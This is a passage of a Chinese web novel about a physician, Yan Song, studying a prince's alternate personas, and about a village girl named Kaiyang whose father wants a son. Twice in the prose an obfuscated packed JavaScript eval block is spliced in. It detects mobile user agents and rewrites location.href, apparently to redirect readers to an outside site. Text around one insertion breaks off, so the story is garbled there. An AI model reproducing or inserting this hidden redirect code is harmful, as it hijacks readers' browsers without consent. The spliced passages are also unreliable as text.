“公子,你看。” “他们说我死了。” 10. 一梦鸯鸯仍未休 陆云逸说完那一句,便不再说了。 屋子里一下静下来。 颜淞的笔停在纸上,墨聚在笔尖,迟迟没有落下。他原本以为陆云逸会继续讲下去,讲他如何去城外那座坟,如何看见那块木牌,如何确认或不确认那具尸身到底是不是林鸯鸯。 可陆云逸忽然沉默了。 这沉默来得很重。 像一扇门在话音落下之后,慢慢关上了。 萍儿站在一旁,望着陆云逸。她这些日子听他讲旧事,早已不像最初那样急着插话。她知道有些伤不能催,有些话要人自己一点一点说出来。 可此刻,她心里忽然生出一种不安。 陆云逸坐在窗下,手里还捏着茶盏。那茶早凉了,他却没有喝,也没有放下。他只是低着眼,看着盏中一点暗沉的水影。 颜淞轻声问:“殿下?” 陆云逸没有答。 “殿下可还要继续说?” 仍旧没有回应。 颜淞放下笔。 昨夜那种不对劲的感觉又回来了。只是这一次,与昨夜不同。昨夜陆云逸变得冷硬、防备,像一个在荒野里活久了的人。今日,他身上的气息却一点一点软了下去。 不是松懈。 更像是退回了什么地方。 萍儿向前走了一步。 “云逸?” 陆云逸的手指微微一动。 茶盏里的水晃了一下。 然后他慢慢抬起头,看向萍儿。 那一眼,让萍儿怔住了。 不是昨夜那种戒备的眼神。 也不是陆云逸平日看她时那种温和又克制的眼神。 那眼神里有一种很深的亲近,像走了很远的路,终于看见家门的人。又像一个受了许多委屈的孩子,忽然看见了可以放心说话的人。 萍儿喉咙一紧。 “云逸……” 陆云逸看着她,轻轻开口。 “娘。” 这一声不大。 却像一把细刀,轻轻划开了屋里的空气。 萍儿整个人僵住了。 颜淞也停住了。 陆云逸自幼被萍儿养大,私下亲近时,也曾唤过她干妈。可这一声“娘”,不是平日里的称呼。 它太自然。 太柔软。 也太陌生。 萍儿眼眶一下红了。 她想应,又不敢应。 颜淞立刻看向她,轻轻摇了摇头,示意她不要急着纠正。 萍儿的手在袖中攥紧,半晌,才低低应了一声: “哎。” 陆云逸像是终于放下心来。 他看着萍儿,脸上露出一点很浅的笑。 “我回来了。” 萍儿声音发颤:“回来就好。” 陆云逸垂下眼,像有些不好意思。 “我去了好多地方。” 颜淞重新执笔。 陆云逸继续道:“我替你看了。燕京不好,历下也不好,广陵更不好。” 萍儿怔了一下。 “替我看什么?” 陆云逸有些疑惑地抬头。 “养老的地方呀。” 他看着萍儿,神情认真得像在说一件早已约好的事。 “你不是说,将来若能离京,想找个清静地方住吗?我一路都记着呢。” 萍儿张了张口,却说不出话。 她确实曾给陆云逸写过一张游历地点的单子。 那时陆云逸要离京,她不放心,便挑了几个相对稳妥的地方,让他沿路看看。她当时半真半假地说,等将来老了,也许就寻个好地方养老,省得一辈子困在京中。 她没有想到,这句话竟会被眼前这个“陆云逸”牢牢记住。 颜淞只听见“养老的地方”几个字,不知其中缘故。他抬眼看了看萍儿,又低头记下。 萍儿看着陆云逸,试探着问:“你……你是谁?” 陆云逸显然没想到她会这样问。 他怔了怔,随后露出一点委屈。 “娘,你不认得我了?” 萍儿声音更轻:“我只是想听你自己说。” 陆云逸看着她,认真道: “我是鸯鸯呀。” 屋中静得连炭火轻响都显得刺耳。 萍儿垂在身侧的手微微发抖。 鸯鸯。 她眼前这个孩子,明明是陆云逸,明明是她一手养大的小王爷,此刻却用这样自然的语气告诉她:我是鸯鸯呀。 萍儿强忍住心里的酸楚,顺着他的话问:“那你一路可有记下来?” “记了。” 陆云逸立刻点头。 他像是终于想起一件要紧事,低头去摸自己身边的包裹。 那包裹是他雨夜回府时带回来的。萍儿原本没敢乱动,只让人放在屋里。包裹旧了些,外头沾着路上的尘土,系绳也有些松。 陆云逸打开包裹,在里面翻找。 他的动作有些急,翻出几件旧衣、一只药瓶、几张折好的纸,还有一本薄薄的册子。最后,他从夹层里摸出一张被折了好几折的纸。 “在这里。” 他把纸展开,递给萍儿。 颜淞坐得稍远,只能看见那是一张写满字的纸,却看不清上头写了什么。 萍儿却没有立刻接。 她看向颜淞。 颜淞轻轻点头,示意她接过来,但不要抢,也不要露出惊异。 萍儿这才伸手,柔声道:“给我看看。” 陆云逸把纸递过去,又凑近了一些,像怕她看不清。 “我都写好了。” 萍儿低头看那张纸。 纸上先是她自己的字。 燕京。 历下。 广陵。 姑苏。 锦官城。 长安。 甘州。 这些地点,是她当初写给陆云逸的。 可是每个地点后面,又多了许多批注。 字迹有的端正,有的凌乱,有的细密。墨色也不全一样,显然不是同一日写成。 陆云逸,不,鸯鸯坐在一旁,眼睛亮亮地看着萍儿,像一个刚把功课交给母亲的孩子。 “娘,你看。” 萍儿强迫自己一行一行看下去。 纸上写着: 燕京:天子脚下,龙气汇聚。虽坊市繁华,然权贵多如牛毛,律法森严。居大不易,若无根基,极易卷入朝堂是非,非颐养天年之所。 历下:齐鲁文脉所在,名士风流。水陆交通便利,然往来酬唱繁多,清流望族盘根错节,规矩极严,恐非清净之地。 广陵:盐商汇聚,富甲天下。园林极尽奢靡,然商贾之气太重,且官商勾结暗流涌动,牵连甚广,不可久留。 姑苏:水路太杂,巷子太窄。城里人说话软绵绵的听不懂。但是鱼挺好吃的。 萍儿看到这里,眼神微微一变。 前几条虽各有轻重,却仍像陆云逸会写的话。可“姑苏”这一条,忽然短促,直白,甚至带着些不耐烦。那不像陆云逸平日写给她看的字句。 颜淞看不见纸上的内容。 他只看见萍儿的手指在某一处停了一下。 他没有问。 萍儿继续往下看。 锦官城:气候温润,听闻这里的蜀锦摸起来像水一样软,正适合给娘亲做几身冬衣。街坊邻里和善,巷口常有卖糖油果子的,娘亲嗜甜,定会喜欢。此处原是个极好的选择,只是离京城稍微远了些。 长安:城外的温泉庄子极好,能祛风湿。虽繁华,但若能在清静的坊市买个带小院的宅子,种些牡丹,娘亲闲暇时可以晒晒太阳,极好。 甘州:风沙太重,昼夜寒热相差极大。城中商旅混杂,胡商、马贩、边军、脚夫皆聚于此,街市虽热闹,却不够清静。羊肉暖身,葡萄很甜,若娘亲偶尔想看大漠落日,住上三五日倒也新鲜;若要长久养老,离边境太近,兵戈之气不散,不可。 萍儿看完最后一行,手指微微收紧。 这后面几条,尤其是锦官城和长安,语气明显变了。 它不再像一个小王爷写给自己看的游历札记,而像一个女儿在替母亲打算。蜀锦、冬衣、糖油果子、温泉祛风湿、小院晒太阳、牡丹花。 这些都太细。 细得让人心酸。 陆云逸在旁小声问:“娘,你喜欢锦官城吗?” 萍儿喉咙发紧。 她低头看着纸,不敢立刻抬眼。 “你觉得那里好?” “好。”鸯鸯点头,“糖油果子很甜。街坊也和善。只是太远了,我怕你想家。” “那长安呢?” “也好。”鸯鸯想了想,“温泉好。你冬日膝盖疼,泡一泡会舒服。可是长安贵,买小院要很多银子。” 说到这里,他又认真补了一句:“不过我可以攒钱。” 萍儿再也忍不住,眼泪掉了下来。 鸯鸯一下慌了。 “娘,你怎么哭了?” 萍儿忙擦眼泪。 “没事。” “你是不是不喜欢这些地方?” “不是。”萍儿哽着声音,“我喜欢。” 鸯鸯仍看着她,神情有些不安。 “那你为什么哭?” 萍儿强笑了一下。 “我只是觉得,你一路辛苦了。” 鸯鸯听见这话,反倒松了口气。 “不辛苦。” 他把包裹里另一本薄册子也拿出来,像献宝似的放到萍儿膝上。 “我还记了别的。哪儿米便宜,哪儿的屋子潮,哪儿街上吵,哪儿郎中好。等以后我们慢慢挑。” 萍儿摸着那本薄册子,眼泪几乎又要落下来。 颜淞坐在一旁,不能看清纸上的字,只能听见只言片语。 锦官城。 糖油果子。 长安。 温泉。 小院。 这些词同刚才陆云逸讲广陵旧案时的冷硬完全不同。它们太家常,太柔软。像一个人不是在讲病,也不是在讲案,而是在认真安排日后的柴米衣裳。 萍儿强撑着精神,继续问:“你一路上是一个人走的吗?” 鸯鸯摇头。 “不是。” “还有谁?” “叶开阳。”鸯鸯说,“我雇她做保镖。” 颜淞的手指微微一紧。 叶开阳。 这个名字,他已经在病案里听过几回。只是眼前的鸯鸯说得太自然,仿佛那不是另一个人格,也不是病中妄言,而是旅途中真有这样一个同行之人。 萍儿看向颜淞。 颜淞示意她继续。 萍儿问:“叶开阳是个什么样的人?” 鸯鸯想了想。 “她话少,吃东西很快,平日里懒洋洋的,但打起架来可厉害了。” 萍儿心里发冷,却不敢表现出来。 萍儿又问:“那陆云逸呢?” 鸯鸯脸上露出一点困惑,似乎觉得萍儿连这个都不知道,有些奇怪。 “路上认识的公子哥呀。” 萍儿心头一颤。 “公子哥?” “嗯。”鸯鸯点头,“有钱,人不坏,就是有时候想事情想得太多。他总说这个不妥,那个要查,还爱写很长的话。” 颜淞听到这里,笔停了一下。 这些话若写进病案,已经足够叫人背后发凉。 可颜淞仍不敢立刻定论。 鸯鸯见萍儿一直拿着纸,便问:“娘,你是不是想去锦官城?” 萍儿把纸轻轻折好,温声道:“这张纸,先放我这里,好不好?” 鸯鸯立刻有些紧张。 “为什么?” “我想慢慢看。”萍儿道,“你写得这么细,我一时看不完。等我看完,再同你商量去哪儿。” 鸯鸯犹豫。 她伸手想拿回来。 萍儿没有躲,也没有用力攥着,只是看着她。 “鸯鸯,你不是替我找的吗?” 鸯鸯怔了一下。 “是。” “那让我好好看看,好不好?” 鸯鸯低头想了很久,终于点头。 “好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520935|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她又认真补了一句:“娘别弄丢。” 萍儿把纸贴身收好。 “不会。” 鸯鸯这才安心。 她坐了一会儿,似乎忽然觉得累了,靠在椅背上,眼睛慢慢垂下去。 萍儿轻声道:“困了?” “嗯。” “睡一会儿吧。” 鸯鸯抓住她的袖口。 “娘别走。” “我不走。” 鸯鸯这才慢慢闭上眼。 她睡着后,手仍攥着萍儿的袖口。 屋中只剩炭火轻响。 萍儿低头看着这个孩子,眼泪无声地落下来。 她这时已经不敢问,眼前睡着的人究竟是谁。 是陆云逸? 是鸯鸯? 还是一个为了替她找养老地,硬从碎裂心神里生出来的女儿? 过了一会儿,颜淞起身,向萍儿示意出去说话。 萍儿把袖口从鸯鸯手里一点一点抽出来,又把一方软帕塞进她手心。鸯鸯皱了皱眉,握住那方帕子,才没有醒。 两人轻手轻脚走到外间。 萍儿把那张纸递给颜淞。 “颜太医。” 颜淞双手接过。 纸很薄,却像压着许多说不清的东西。 他终于看清了上面的内容。 前面是萍儿自己的字,写的是地点。 后面是陆云逸添上的批注。 颜淞一行一行看过去,越看越沉默。 燕京、历下、广陵几条,语气谨严,像寻常士人游记,又带着些王府子弟看世情的眼光。 姑苏一条忽然变短,且直白得多。 锦官城、长安、甘州后面,又明显变得家常,处处写着“娘亲”喜欢什么、身子受不受得住、能不能久居。 颜淞看得很慢。 他不敢说自己已经看明白。 这张纸只能说明:同一段游历里,陆云逸留下的文字前后差异很大。而刚才那个自称鸯鸯的人,又能把这些矛盾解释自洽。 这或许正是病症的一部分。 但究竟是如何分裂,何时开始,又为何形成这样的说法,还不能轻断。 颜淞低声问:“这前头地点,是萍儿姑娘写的?” 萍儿点头。 “是。我当初怕他乱走,给他列的地方。” “后面的批注,都是小王爷自己回来前写下的?” “应是。”萍儿道,“我从前没见过这张纸。” 颜淞又看了几眼姑苏那条。 “这纸上字迹、风格多有不同。” 萍儿脸色发白。 “颜太医的意思是……” 颜淞摇了摇头。 “现在还不能说是什么意思。只能记下。” 他把纸小心折好。 “这张纸,我想带回太医院细看。明日再还。” 萍儿点头。 “你拿去。” 她顿了顿,又问:“他这个样子,是不是更重了?” 颜淞没有立刻回答。 过了一会儿,他道:“至少比昨日更复杂。” “复杂?” “昨夜那个不语之人,防备重,不亲近人。今日这个鸯鸯,却亲近你,认你为母,还能说出一套很完整的缘由。”颜淞斟酌着说,“她不觉得自己在胡言。相反,她的话前后能圆上。” 萍儿听得心惊。 “能圆上,反而不好?” “未必。”颜淞道,“若圆不上,病人惊乱,反而更伤身。可若圆得太稳,要拆也难。” 萍儿闭了闭眼。 “那就先顺着她?” “先顺着。”颜淞道,“但要记清楚她说的话。” 萍儿点头。 颜淞又道:“她若问纸在哪里,便说你收着,在慢慢看。不要说给了我。明日我带回来。” 萍儿道:“好。” 颜淞将那张纸收进袖中。 离开明亲王府时,天已经黑透。 他回到太医院后,没有立刻睡。 小屋里点着一盏灯。 他把那张纸铺在案上,又取出师傅留下的《离魂杂录》。 两张纸,一旧一新,放在一起。 颜淞先看燕京、历下、广陵。 这几条写得周密,像一个熟悉门第、官府、商贾的人在判断利害。 再看姑苏。 水路太杂,巷子太窄。 人说话听不懂。 鱼好吃。 颜淞想起鸯鸯方才说,叶开阳话少,吃东西快。 他在旁边写下: 姑苏条或与“叶开阳”有关。未定。 再往后,锦官城、长安、甘州,语气又变。 蜀锦、冬衣、糖油果子、温泉、风湿、小院、晒太阳、羊肉暖身、葡萄很甜、大漠落日。 颜淞看着这些话,觉得它们不像一个游历者为自己记录,更像是有人在替亲近之人打算晚年。 他写: 后数条多称娘亲,语气亲昵,似今日“鸯鸯”所言。 写完,他停了很久。 然后又添一句: 不可据此妄断。须再问。 他翻开《离魂杂录》。 师傅在其中一页写: “病者所称之名,不可急斥其妄。其言虽怪,或自有脉络。医者先记其脉络,后辨其所避所护。” 颜淞低声念了一遍。 所避。 所护。 眼前这张纸里,到底在避什么,又在护什么? 他还看不清。 只能隐约知道,陆云逸的心神里,似乎不止一个声音。而这些声音并非乱作一团,它们甚至在替彼此找说法。 这套说法荒唐,却又完整,完整得让人不敢轻易打碎。 窗外夜色沉沉,太医院里寂静无声。 颜淞合上《离魂杂录》,却久久没有吹灭灯。 他知道,自己面前已经不只是一桩简单的病案了。 这像是一条路。 一条被许多名字走过,又被同一个人带回来的路。 11. 空唤开阳盼子留 第二日,颜淞再到明亲王府时,天色比前一日好些。 昨夜的风停了,院中积叶被扫到墙角。听雪斋外的梅枝上有一点将开未开的白。颜淞走到廊下时,萍儿已经等在那里。 她脸色仍不好,却比昨日镇定许多。 颜淞先把那张纸还给她。 萍儿接过,低声问:“颜太医看出什么了吗?” 颜淞摇了摇头。 “还不能定。今日先不要提这张纸。” 萍儿点头,把纸收进袖中。 颜淞又问:“殿下今日如何?” 萍儿看了一眼屋里。 “醒来后,又像平日了。” 这句话她这两日已经说过几次。 可每说一次,心里便更不安一分。 颜淞没有立刻进去。他站在廊下,听见屋中有轻微翻书声。 那声音很稳。 不像昨夜那个抓着萍儿袖口、唤她娘的“鸯鸯”。 也不像前夜那个沉默冷硬、防备所有人的人。 颜淞心里微微一沉。 他现在已经不敢因为陆云逸看起来正常,就当他真的无事。 进屋后,陆云逸正坐在窗边。 他今日穿了一身浅青常服,头发束得整齐,手边放着一卷书。听见颜淞进来,他抬头,神色略显疲倦,却仍温和有礼。 “颜太医。” 颜淞行礼:“殿下今日可好些?” 陆云逸放下书,道:“头不疼了,只是昨日似乎睡得沉。” 萍儿站在一旁,手指微微一紧。 颜淞问:“殿下可还记得昨日说过什么?” 陆云逸想了想,眉头轻轻皱起。 “记得不多。只记得说到广陵府衙,后来有些累。” 他看向萍儿。 “我可是失态了?” 萍儿喉咙发紧,勉强笑道:“只是累着了。” 陆云逸点点头,没有再问。 颜淞坐下,摊开纸笔。 “殿下昨日说,官府重查也查不出什么。后来呢?” 陆云逸沉默了一会儿。 “后来我离开了广陵。” 他看着窗外。 “那座城,我待不下去了。” 颜淞没有催。 陆云逸继续道:“我从姑苏赶回广陵,是因为在那里收到李真的信。可从广陵再离开时,我仍往姑苏去。说来也怪,明明那地方给我递来了坏消息,我却还是去了那里。” 他说到这里,笑了一下。 那笑很淡,也很苦。 “也许是因为我不知道还能去哪儿。” 萍儿想说话,最后忍住了。 颜淞写下:再赴姑苏。 陆云逸道:“我没有住在姑苏城里。” “为何?” “城里太软,也太热闹。” 陆云逸慢慢说着,像在回忆一段很远的路。 “那时我看见桥,便想起水边的芦苇;听见说书先生拍醒木,便觉得吵;看见有人买花,便不愿多看。姑苏的水巷很美,可人若心里不安,再美的地方也像一张网。” 他说:“我便出了城。” …… 姑苏城外,水田很多。 陆云逸沿着一条乡路往南走。那时已经入秋,水稻低低伏着,田埂上有割草的孩子,远处河里停着几条窄船。城里的丝竹声听不见了,只剩下风吹稻叶的声音。 他不知道自己要去哪儿。 那几日,他常常这样走。 走到天黑,找地方借宿;天亮再走。身边带的钱不少,足够他住好客栈,可他不愿住客栈。客栈里人来人往,掌柜会问从哪里来,小二会问要不要热水,邻屋的人会说笑。 他那时不想听见人说笑。 第三日傍晚,他走到一个叫湾湾村的地方。 那村子很小,夹在两条弯弯的水沟之间,所以叫湾湾村。村口有一棵歪脖子柳树,树下拴着几头牛。几户人家的屋子低矮,墙是土墙,屋顶盖着旧瓦和稻草,远远看去,像被秋风压在田边。 陆云逸进村时,天已经擦黑。 村里没有客栈。 也没有正经能供人住宿的地方。 他问了几户人家,有的说家里没有空屋,有的见他衣着不像本地人,不敢收留;还有一家听说他愿意给钱,倒有些心动,可家中只有寡妇和两个小孩,怕惹闲话,也摇头拒了。 最后,是村西一户姓叶的人家收留了他。 叶家男人叫叶成,三十多岁,脸晒得黑,常年种田,手掌粗得像树皮。他妻子姓田,身子瘦弱,小腹微微隆起。村里人都说她又有了身孕,叶成也这样信着。 叶家不算宽裕,但比村中有些人家略整齐些。 他们愿意收留陆云逸,是因为家里恰好有一间空房。 那空房在东边,门很窄,屋里只有一张床、一张木桌和一个旧柜子。床板是新的,柜子也是新打的,只是还没有真正住过人。 田氏站在门边,有些不好意思地说:“屋子空着,公子不嫌弃便住。” 叶成在一旁道:“一天三十文,包早晚两顿饭。” 他说这话时,眼睛盯着陆云逸的脸,像怕他嫌贵。 陆云逸道:“可以。” 叶成松了一口气。 田氏忙去收拾屋子。 陆云逸站在院中,看见院角蹲着一个小姑娘。 那姑娘大约六七岁,头发扎成两个小髻,衣裳短了一截,袖口磨破。她手里拿着一把剁碎的水草,正往一只破竹筐里添。筐里挤着几只半大的鸭子,毛还没有长齐,伸着扁嘴抢食。 江南水多,农户家养鸡鸭都常见。鸭子能下蛋,也能赶到水沟里自己寻些小鱼小虾吃,比许多牲口都省饲料。叶家穷,养不起猪羊,几只鸭子便算是能指望的活物。 小姑娘听见家里来了客人,抬头看了一眼,又很快低下头。 叶成顺着陆云逸的目光看过去,喊了一声:“开阳,去帮你娘烧水。” 小姑娘立刻放下水草,站起来。 “哎。” 她跑进灶房,脚步很轻。 陆云逸听见这个名字,心里动了一下。 开阳。 北斗七星之一。 他自幼读书,知道开阳又名武曲。这个名字若放在男孩身上,显得刚健;放在女孩身上,倒更有一种少见的亮意。 晚饭时,叶家摆了一张矮桌。 饭很简单。 一盆稀粥,一碟咸菜,一点炒青菜。因有客人,田氏又煎了两个蛋。她把其中一个放到陆云逸面前,另一个放到叶成碗里。 叶成又将煎蛋夹到田氏碗里:“你吃吧,补补身子。” 叶开阳坐在桌角,低头喝粥。 她碗里没有煎蛋。 陆云逸看见了,却没有说话。 这种场景他近来见过太多。 若每一回都开口,主人家反倒难堪,孩子也未必好受。 吃到一半,他对叶成道:“令爱的名字取得很好。” 叶成一愣。 “什么?” “开阳。”陆云逸道,“开阳是北斗七星中的一星,又称武曲星。武曲主刚健,也主明亮。这个名字有光,也有骨气。” 叶成听完,哈哈笑了两声。 那笑里没有得意,倒像听见一件同自己无关的好笑事。 “公子是读书人,讲得好听。我们哪懂这个。” 陆云逸一怔。 叶成夹了一筷子咸菜,道:“这名字是算命先生取的。” 陆云逸看向叶开阳。 小姑娘仍低头喝粥,像没有听见。 田氏有些尴尬,轻声道:“当年生她前,村口来了个算命的。她爹想要个儿子,就让人给算一卦。那先生说,若头胎是女,也不要紧,取个开阳的名,开阳开阳,开了阳气,后头就能生儿子。” 叶成接过话,道:“就是开始生儿子的意思。” 他说得很自然。 像这是一件再平常不过的事。 陆云逸手中的筷子顿了一下。 “开始生儿子?” “是啊。”叶成道,“可惜不大灵。她娘这些年肚子一直没动静。如今好不容易又有了,这回八成是男娃。” 田氏低头摸了摸自己的小腹,神情疲惫,又带着几分小心的盼望。 陆云逸看着她的脸色,眉心微不可察地动了一下。 他虽不是大夫,可自幼在宫中长大,皇帝也曾让太医给他讲过一些粗浅医理,说身在上位者,不必会开方,却要懂得人命不是一句“病了”便可糊弄过去。 田氏的面色并不像寻常有孕妇人。 她脸色发黄,眼下浮肿,手背也有些胀。小腹虽微鼓,却不似胎气充盈,倒像水湿聚在腹中。只是陆云逸没有当场开口。 农户家把这当成天大的喜事。 他若一句话说错,便像当着人家的面把希望打碎。 叶成又道:“这间屋子也是给我儿子留的。” 陆云逸抬眼。 叶成指了指东边那间空房,笑道:“家里总要有个儿子。男娃长大了,得有自己的屋。原本想着等他十来岁再住,先空着也没什么。如今能租给公子几日,也算添点进项。” 田氏忙轻轻撞了他一下。 像嫌他话说得太直。 叶成却不觉得有什么。 “这有啥不能说的?家里穷,能挣几文是几文。等娃生下来,要花钱的地方多着呢。接生婆也要钱。” 陆云逸问:“请郎中看过吗?” 叶成愣了一下。 “看啥?” “胎。” 叶成笑道:“乡下人哪有那么讲究?肚子大了,不就是有了?等要生时,请接生婆来就是。” 田氏也轻声道:“不用费那个钱。我头一胎也是这么过来的。” 叶开阳仍旧低头喝粥。 她喝得很慢。 碗里的粥本来就稀,她却像要从里面喝出一点别的东西。 陆云逸没有再问。 只是那顿饭,他吃得更少了。 晚饭后,田氏收碗,叶开阳帮着洗。叶成蹲在门口修一把旧菜刀,刀刃在磨石上蹭出沉闷的声响。夜色渐深,院中只有灶房里一点火光,照着墙边几只挤在竹筐里的鸭子。 陆云逸站在院中,看着东边那间空房。 房里点了一盏油灯,床板是新的,被褥也是新晒过的。屋虽简陋,却干净。 那是一个还没出生的男孩的屋子。 而那个已经在家中跑来跑去、烧水洗碗、喂鸭子、喝稀粥的女孩,没有自己的屋。 他想起林鸯鸯。 也想起阿青。 世上的女孩似乎总是这样。 活着的时候,屋子不是她们的;死了以后,连尸体是不是她们,也可以由别人说了算。 夜深后,陆云逸躺在那间给“儿子”准备的屋子里,却久久睡不着。 床板新,有一点木头的气味。窗外能听见虫声,远处偶尔有狗叫。隔壁叶成和田氏说话的声音隔着土墙传来,不甚清楚,只断断续续听见几句。 “这公子出手倒大方……” “等他多住几日,能攒些钱……” “孩子生下来,总要请稳婆……” “若真是儿子,得办桌酒……” 后来声音低下去。 再后来,院子里响起很轻的脚步声。 陆云逸睁开眼。 窗纸上映出一个小小的人影。 那人走到院角,蹲下去,似乎在看那几只半大的鸭子。 陆云逸起身,披衣出门。 叶开阳听见门响,吓了一跳,立刻站起来。 “公子。” “还没睡?” 她摇头,又点头,像不知道该怎么答。 陆云逸走近几步。 “鸭子是你养的?” 叶开阳低头看了一眼竹筐。 “我喂。” “喜欢它们?” 叶开阳想了想,小声说:“它们能下蛋。” 这个回答很实在。 不像一个孩子说喜欢什么,倒像一个穷人家小小年纪便学会了衡量东西有没有用。 陆云逸问:“下了蛋给你吃吗?” 叶开阳摇头。 “给娘吃。爹说,娘肚子里的弟弟要补。” 她说“弟弟”二字时,声音没有起伏。 陆云逸看着她。 “你也想要弟弟?” 叶开阳沉默一会儿。 “爹想要。” “你呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王府里所有人都觉得他天生该识字,该读书,该写得端正。没人会记得他第一次把字写歪时是什么样。 可是看着叶开阳的眼睛,他点了点头。 “也这样。” 叶开阳似乎放心了一些。 她低头,重新写。 这一次,仍旧歪得厉害。 可勉强有了形状。 开。 阳。 她看着那两个字,脸上没有笑,却像整个人都亮了一点。 陆云逸忽然明白,世上有些东西,别人说给你听,和你自己看见,是不同的。 别人说你的名字是为了开始生儿子。 你便只能听着。 可当你亲眼看见那两个字,知道它们也可以是打开、是太阳、是光,是北斗里的武曲星,那名字便有了一条缝。 哪怕很小。 也足够让人喘一口气。 叶开阳用树枝在泥地上又写了一遍。 写完后,她问:“明日还能学吗?” “能。” “要钱吗?” 陆云逸一愣。 “不要。” 叶开阳不信。 “爹说,世上没有白给的东西。” 陆云逸道:“那你每日替我烧水,算学费。” 叶开阳认真想了想。 “我本来也要烧水。” “那便替我多烧一壶。” 她终于点头。 “好。” 第二日清晨,叶开阳很早便起来烧水。 陆云逸推门出去时,看见她蹲在灶前,火光照着她的脸。她抬头看见他,第一句话不是问早,也不是问吃饭。 她问:“公子,今日学什么字?” 陆云逸还没答,便见田氏扶着门框从屋里出来。 她脸色比昨夜更黄,眼下有些浮肿,脚步也虚。走到门槛边时,她停下来喘了一口气,手下意识按住小腹。那腹部微微隆着,可不像有孕妇人那样有生气,倒像被什么沉重的东西坠着。 叶成端着碗出来,见她站在门边,便道:“你进屋歇着。怀着娃,别出来吹风。” 田氏点点头,却没有立刻动。 她低声道:“昨夜没怎么睡,腹里胀得厉害。” 叶成道:“有身子的人不都这样?” 田氏没有说话,只慢慢坐到门槛上,伸手揉了揉脚踝。陆云逸这才看见,她脚踝也肿着,鞋口都绷得紧。 陆云逸看了片刻,终于道:“叶大哥,还是请个郎中看看吧。” 叶成一愣。 “公子昨晚就说这个。真不用。” “我出钱。” 这话一出,叶成和田氏都怔住了。 叶成挠了挠头:“这……这哪好意思?” 陆云逸道:“我在你家借住,也算添了麻烦。镇上请郎中来,不过走一趟。” 叶成还想推辞。 田氏却低头摸了摸小腹,神情里露出一点犹豫。 她其实也怕。 只是穷人家的怕,不值钱。怕也要忍着,痛也要忍着。只要还能下地,便算不得病;只要肚子大了,便先当是喜事。因为请郎中要钱,抓药要钱,而接生婆至少是等到真要生时才花的一笔钱。 陆云逸没有再等他们决定。 他道:“我今日便去镇上请郎中。” 叶开阳站在灶房门口,看着他。 她还不知道郎中会带来什么话。 她只知道,那个在泥地上告诉她“开阳”是天上星辰的公子,似乎又要替她们家做一件她从前不敢想的事。 风从田边吹来,吹得院中泥地微微发干。 昨夜写下的“开阳”二字已经被踩乱了。 可叶开阳低头看了很久,仿佛那两个字还在那里。 12. 穷巷炊烟断复流 镇子离湾湾村不算远。 叶成原本说自己去请郎中便好,可真到了出门时,又有些缩手缩脚。乡下人进药铺,总像进了不该进的地方。不是因为那里门高,而是因为那里每一句话都要钱。 陆云逸没有多说,只让他带路。 两人沿着田埂往镇上走。 清晨的水田还带着雾气,稻叶上挂着细小的水珠。远处有人弯腰割草,几个孩子赶着鸭子往水沟里去。叶成一路上没怎么说话,只偶尔回头看陆云逸一眼。 走到半路,他终于忍不住道:“公子,你真觉得她不是有了?” 陆云逸道:“我不是郎中,不能断。” 叶成松了一口气,又像更不安了。 “她肚子大了,村里人都说像。她自己也说月事不准。我们乡下女人有了身子,哪有那么多讲究?能吃能走,就是好的。” 陆云逸看着脚下的田埂。 “她能吃吗?” 叶成愣住。 “这……” “昨夜她吃了多少?” 叶成想了想,道:“没多少。她近来总说胀,不大想吃。” “脚肿多久了?” 叶成答不上来。 他平日只看见妻子小腹渐渐鼓起,心里想着也许终于有了儿子,便把其他都当成有孕后的寻常反应。至于她吃得少,脸发黄,脚踝肿,夜里睡不好,这些事他不是没看见,只是没往病上想。 或者说,他不敢往病上想。 病比孩子可怕。 孩子生下来,哪怕要花钱,总还是喜事。病却只会把家里的铜钱一文一文吃干净。 到了镇上,药铺刚开门。 郎中姓赵,五十上下,胡子花白,正坐在柜后翻药匣。叶成站在门口,半天没敢进去。陆云逸先一步进门,说明来意,付了诊金。 赵郎中听说是腹胀、足肿、食少,脸色便不似听喜脉那样轻松。 他背了药箱,随他们回村。 三人到叶家时,田氏正坐在床边。叶开阳站在灶房门口,手里还拿着一根柴,眼睛一直盯着郎中的药箱。 赵郎中先问了月信,又问饮食、睡眠、小便多少、胸腹胀不胀。 田氏答得很轻。 有些话,她不好意思当着叶成和外人说。赵郎中便让叶成出去等。叶成不愿,嘟囔道:“我又不是外人。” 赵郎中看了他一眼。 “你若想听实话,就出去。” 叶成被噎住,只好站到门外。 叶开阳也被赶了出来。 她站在门边,听不见里面说什么,只看见赵郎中不时皱眉,又伸手按了按田氏的小腹。田氏低低吸了一口气,像是疼,又像是胀。 过了许久,赵郎中出来。 叶成立刻迎上去。 “郎中,怎么样?是男娃女娃?” 赵郎中看着他。 “不是喜脉。” 叶成愣住。 田氏坐在屋里,脸色一下白了。 叶开阳也抬起头。 叶成像没听懂。 “不是喜脉?她肚子都大了。” 赵郎中道:“腹大不只因胎。她这是水湿停聚,腹中胀满。乡下多叫水臌,也叫鼓胀。拖下去,恐怕不好。” 院子里静下来。 竹筐里的鸭子忽然叫了一声。 那声音又轻又短,却把田氏吓得一颤。 叶成看着赵郎中,脸上的喜色一点点退下去,最后只剩茫然。 “水臌?” “嗯。”赵郎中道,“她脾胃虚,气血亏,又劳累太过。水湿化不出去,积在腹里,脚也会肿。她近来是不是食少、小便少、夜里腹胀难眠?” 叶成张了张嘴。 这些都有。 只是他从前没当回事。 田氏低头摸着自己的小腹。 那一刻,她不是在摸孩子。 而是在摸一场病。 她眼泪忽然掉下来。 